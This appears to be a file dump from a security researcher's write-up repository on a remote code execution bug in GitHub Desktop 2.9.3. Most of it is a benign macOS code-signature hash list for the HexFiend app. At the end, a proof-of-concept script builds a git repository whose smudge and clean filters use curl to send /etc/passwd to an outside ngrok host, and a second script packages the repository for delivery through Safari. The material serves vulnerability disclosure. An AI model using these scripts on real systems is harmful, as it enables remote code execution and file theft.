| 33 | mIyRHF6mJrgDog5VUd2sJoUJKOc= 34 | 35 | Resources/Base.lproj/FindReplaceBanner.nib 36 | 37 | +doBBl9g0ipLaXs4JOovegaLZDI= 38 | 39 | Resources/Base.lproj/InfoPlist.strings 40 | 41 | PylDF24/vOAbdQ1DjPvlvx8QyuA= 42 | 43 | Resources/Base.lproj/JumpToOffsetBanner.nib 44 | 45 | 74P7WM2rLoLxJ9oFxytsLYmqAUQ= 46 | 47 | Resources/Base.lproj/MainMenu.nib 48 | 49 | VoiaQnssVsRECk6B9VzB4HZCAsI= 50 | 51 | Resources/Base.lproj/MoveSelectionByBanner.nib 52 | 53 | cE739db8Jwi70jh3NoWg7AAzKXU= 54 | 55 | Resources/Base.lproj/MyDocument.nib 56 | 57 | 6dnfRwkAdNF3o85chum51/hx2Qw= 58 | 59 | Resources/Base.lproj/OpenAccessoryView.nib 60 | 61 | fUp76oNZI/lYoZowq4mNyh8cNCM= 62 | 63 | Resources/Base.lproj/OpenDriveDialog.nib 64 | 65 | L0PzKDeHtwxg2NaAgvyb7d0OetI= 66 | 67 | Resources/Base.lproj/Preferences.nib 68 | 69 | qNw3+sjRgcJf2IWA4mpxEA6/ShM= 70 | 71 | Resources/Base.lproj/SaveBanner.nib 72 | 73 | SpTGTRzvaFGYRr9NwwEgheFHHE8= 74 | 75 | Resources/dsa_pub.pem 76 | 77 | XiRTJDp8vwlIhiV4D5eGwx0wb70= 78 | 79 | Resources/hex_icon.icns 80 | 81 | ngBK6JB6+7/K168heyoJ9WyI2RI= 82 | 83 | Resources/hexf 84 | 85 | vepb/8D39DGRUkiLbGVY++ilHJ0= 86 | 87 | 88 | files2 89 | 90 | Frameworks/HexFiend.framework 91 | 92 | cdhash 93 | 94 | ObL8eZX6dn/7QkGc0Jypo50rN8A= 95 | 96 | requirement 97 | anchor apple generic and identifier "com.ridiculousfish.HexFiend-Framework" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = QK92QP33YN) 98 | 99 | Frameworks/Sparkle.framework 100 | 101 | cdhash 102 | 103 | xdnAV7McHUblJ6ZCTLQE/mnDgpk= 104 | 105 | requirement 106 | identifier "org.sparkle-project.Sparkle" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = QK92QP33YN 107 | 108 | Library/LaunchServices/com.ridiculousfish.HexFiend.PrivilegedHelper 109 | 110 | hash 111 | 112 | z3JeNNwlXkU0TtQ0P0jHYnaJiLE= 113 | 114 | hash2 115 | 116 | 3u1OtlEamud6PEfcfsYD+Kr2P8lf36qZNKHcOx9y7zQ= 117 | 118 | 119 | Resources/Base.lproj/BinaryTemplateController.nib 120 | 121 | hash 122 | 123 | z86CEd5Ycnh5eijrqu0UIvCAX7U= 124 | 125 | hash2 126 | 127 | +qwdLXpgFV1zWpFFoZ11+7CyiwuCpbmEF8EfUYYvYsI= 128 | 129 | 130 | Resources/Base.lproj/BinaryTemplatePopover.nib 131 | 132 | hash 133 | 134 | 4ilzEN1NoYaDb0oSHDRBlEyJNfk= 135 | 136 | hash2 137 | 138 | 43yDOAAUuUoA2SmOhFITL5sPgGXqlDfg5DkDtH9L7gE= 139 | 140 | 141 | Resources/Base.lproj/ChooseStringEncodingDialog.nib 142 | 143 | hash 144 | 145 | nD4QkJuA9TE2lIGeJeLZ/3mLwFc= 146 | 147 | hash2 148 | 149 | qWWzx43CpRvqnL1tXwSaiF56OmBwdGjfBcVcoLj8kgs= 150 | 151 | 152 | Resources/Base.lproj/DataInspectorView.nib 153 | 154 | hash 155 | 156 | AqIZUZx6Yaz8oqh/6n/v6yeAesI= 157 | 158 | hash2 159 | 160 | ZyFhKWUzBzIjs/cWrv0pqDr/UCuanMfpoZgv4ZnBIm0= 161 | 162 | 163 | Resources/Base.lproj/DiffComputationBanner.nib 164 | 165 | hash 166 | 167 | x+KJAm2sceNHYnPIi/1aTm97LSg= 168 | 169 | hash2 170 | 171 | reBlAUx4/Rvq/eD2qiEr0lRBzK+Oc3PimxiSc1+Kbzo= 172 | 173 | 174 | Resources/Base.lproj/DiffDocument.nib 175 | 176 | hash 177 | 178 | ZUhp9CLCmw5hG5j0ZFP/EiqXdRI= 179 | 180 | hash2 181 | 182 | C/VEpmkZDhyQzvJ0q6BzLfveLqUzxi8oXjMA/0vxK/c= 183 | 184 | 185 | Resources/Base.lproj/DiffRangeDialog.nib 186 | 187 | hash 188 | 189 | mIyRHF6mJrgDog5VUd2sJoUJKOc= 190 | 191 | hash2 192 | 193 | /Bm6F3B7OsBe7FstqJUpepWYeL4UP4o94O1mT/f5aoc= 194 | 195 | 196 | Resources/Base.lproj/FindReplaceBanner.nib 197 | 198 | hash 199 | 200 | +doBBl9g0ipLaXs4JOovegaLZDI= 201 | 202 | hash2 203 | 204 | EKenMZ2aGcEsMeF0yRPpFDPMShB8AOyWF91KSSdit+o= 205 | 206 | 207 | Resources/Base.lproj/InfoPlist.strings 208 | 209 | hash 210 | 211 | PylDF24/vOAbdQ1DjPvlvx8QyuA= 212 | 213 | hash2 214 | 215 | nheB8R/3MKEgdRROVphNAdFJvwkmZfTHKI7GNjLUtbs= 216 | 217 | 218 | Resources/Base.lproj/JumpToOffsetBanner.nib 219 | 220 | hash 221 | 222 | 74P7WM2rLoLxJ9oFxytsLYmqAUQ= 223 | 224 | hash2 225 | 226 | j0aYzhyVKGGKci/ADV6PZjlUak5kYEqP+8l4c4R1sjw= 227 | 228 | 229 | Resources/Base.lproj/MainMenu.nib 230 | 231 | hash 232 | 233 | VoiaQnssVsRECk6B9VzB4HZCAsI= 234 | 235 | hash2 236 | 237 | +iTCS0AWdTqKX2K/djIoVOCGvHtL7a1Ki/XpiMdOC14= 238 | 239 | 240 | Resources/Base.lproj/MoveSelectionByBanner.nib 241 | 242 | hash 243 | 244 | cE739db8Jwi70jh3NoWg7AAzKXU= 245 | 246 | hash2 247 | 248 | 8VxiF5/wgE6oMJ/Ut/DpwgjGmGPC1atRpMhyVaD8fd0= 249 | 250 | 251 | Resources/Base.lproj/MyDocument.nib 252 | 253 | hash 254 | 255 | 6dnfRwkAdNF3o85chum51/hx2Qw= 256 | 257 | hash2 258 | 259 | 5Jzw+2dyMVnyapAeMb2GkFMfMPSMjYUxB/4vRnhpwMo= 260 | 261 | 262 | Resources/Base.lproj/OpenAccessoryView.nib 263 | 264 | hash 265 | 266 | fUp76oNZI/lYoZowq4mNyh8cNCM= 267 | 268 | hash2 269 | 270 | nvS0WieiJIrgaiMtAwNIQhsvSDMfQYLy66C0RuSpDkw= 271 | 272 | 273 | Resources/Base.lproj/OpenDriveDialog.nib 274 | 275 | hash 276 | 277 | L0PzKDeHtwxg2NaAgvyb7d0OetI= 278 | 279 | hash2 280 | 281 | Z4rF7c1++MVgA/xFHEbS1jOrmb2zn1S5H+OY+AzH0aA= 282 | 283 | 284 | Resources/Base.lproj/Preferences.nib 285 | 286 | hash 287 | 288 | qNw3+sjRgcJf2IWA4mpxEA6/ShM= 289 | 290 | hash2 291 | 292 | IspxpLJudGQPRpRpyU4pOTiVRCcdtvAZfr+uJfFNl7k= 293 | 294 | 295 | Resources/Base.lproj/SaveBanner.nib 296 | 297 | hash 298 | 299 | SpTGTRzvaFGYRr9NwwEgheFHHE8= 300 | 301 | hash2 302 | 303 | XGiqnKbIXawe+ze3dCCTkgG2wdPGHID5cJK+mGq76q0= 304 | 305 | 306 | Resources/dsa_pub.pem 307 | 308 | hash 309 | 310 | XiRTJDp8vwlIhiV4D5eGwx0wb70= 311 | 312 | hash2 313 | 314 | MCv2G8FoHP9ksDviWOWftIPsE0whqeSmQ6vnZ/1Y4a0= 315 | 316 | 317 | Resources/hex_icon.icns 318 | 319 | hash 320 | 321 | ngBK6JB6+7/K168heyoJ9WyI2RI= 322 | 323 | hash2 324 | 325 | G+Ofrb9Akb9vTIhQEwdIIQdXiVkN2NmMEEHN6ZwGs9c= 326 | 327 | 328 | Resources/hexf 329 | 330 | hash 331 | 332 | vepb/8D39DGRUkiLbGVY++ilHJ0= 333 | 334 | hash2 335 | 336 | cS/6YPvOsQnPoVpJWtNexqMUNiJgE4xtsU7m6bFR+eo= 337 | 338 | 339 | 340 | rules 341 | 342 | ^Resources/ 343 | 344 | ^Resources/.*\.lproj/ 345 | 346 | optional 347 | 348 | weight 349 | 1000 350 | 351 | ^Resources/.*\.lproj/locversion.plist$ 352 | 353 | omit 354 | 355 | weight 356 | 1100 357 | 358 | ^Resources/Base\.lproj/ 359 | 360 | weight 361 | 1010 362 | 363 | ^version.plist$ 364 | 365 | 366 | rules2 367 | 368 | .*\.dSYM($|/) 369 | 370 | weight 371 | 11 372 | 373 | ^(.*/)?\.DS_Store$ 374 | 375 | omit 376 | 377 | weight 378 | 2000 379 | 380 | ^(Frameworks|SharedFrameworks|PlugIns|Plug-ins|XPCServices|Helpers|MacOS|Library/(Automator|Spotlight|LoginItems))/ 381 | 382 | nested 383 | 384 | weight 385 | 10 386 | 387 | ^.* 388 | 389 | ^Info\.plist$ 390 | 391 | omit 392 | 393 | weight 394 | 20 395 | 396 | ^PkgInfo$ 397 | 398 | omit 399 | 400 | weight 401 | 20 402 | 403 | ^Resources/ 404 | 405 | weight 406 | 20 407 | 408 | ^Resources/.*\.lproj/ 409 | 410 | optional 411 | 412 | weight 413 | 1000 414 | 415 | ^Resources/.*\.lproj/locversion.plist$ 416 | 417 | omit 418 | 419 | weight 420 | 1100 421 | 422 | ^Resources/Base\.lproj/ 423 | 424 | weight 425 | 1010 426 | 427 | ^[^/]+$ 428 | 429 | nested 430 | 431 | weight 432 | 10 433 | 434 | ^embedded\.provisionprofile$ 435 | 436 | weight 437 | 20 438 | 439 | ^version\.plist$ 440 | 441 | weight 442 | 20 443 | 444 | 445 | 446 | 447 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/github_desktop_openlocalrepo_safari.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/github_desktop_openlocalrepo_safari.gif -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/make_evil_repo.sh: -------------------------------------------------------------------------------- 1 | mkdir evil 2 | rm -rf ./evil.zip 3 | rm -rf ./evil/* 4 | cd evil 5 | git init 6 | echo "#################################" 7 | echo "Did you replace the test payload?" 8 | echo "#################################" 9 | cat > ./.git/config<<- EOM 10 | [filter "any"] 11 | smudge = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/smudge 12 | clean = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/clean 13 | EOM 14 | touch example 15 | git add ./example 16 | git commit -m 'commit' 17 | echo "* text filter=any" > .gitattributes 18 | cd ../ 19 | zip -yr ./evil.zip ./evil 20 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/make_safari_poc.sh: -------------------------------------------------------------------------------- 1 | # we're wrapping the repo into an application to make sure Safari will open it. 2 | ./make_evil_repo.sh 3 | cp -r evil ./SafariPoC.app/Contents/Resources/evil 4 | zip -yr ./safari.zip ./SafariPoC.app -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/safari.html: -------------------------------------------------------------------------------- 1 | 2 | 24 | -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/safari.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/safari.zip -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/safari_open_safe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Metnew/write-ups/e6f65cf6ff60434a37ee230d828336809dd25f5a/rce-github-desktop-2.9.3/safari_open_safe.png -------------------------------------------------------------------------------- /rce-github-desktop-2.9.3/smb.html: -------------------------------------------------------------------------------- 1 | 2 | 22 | --------------------------------------------------------------------------------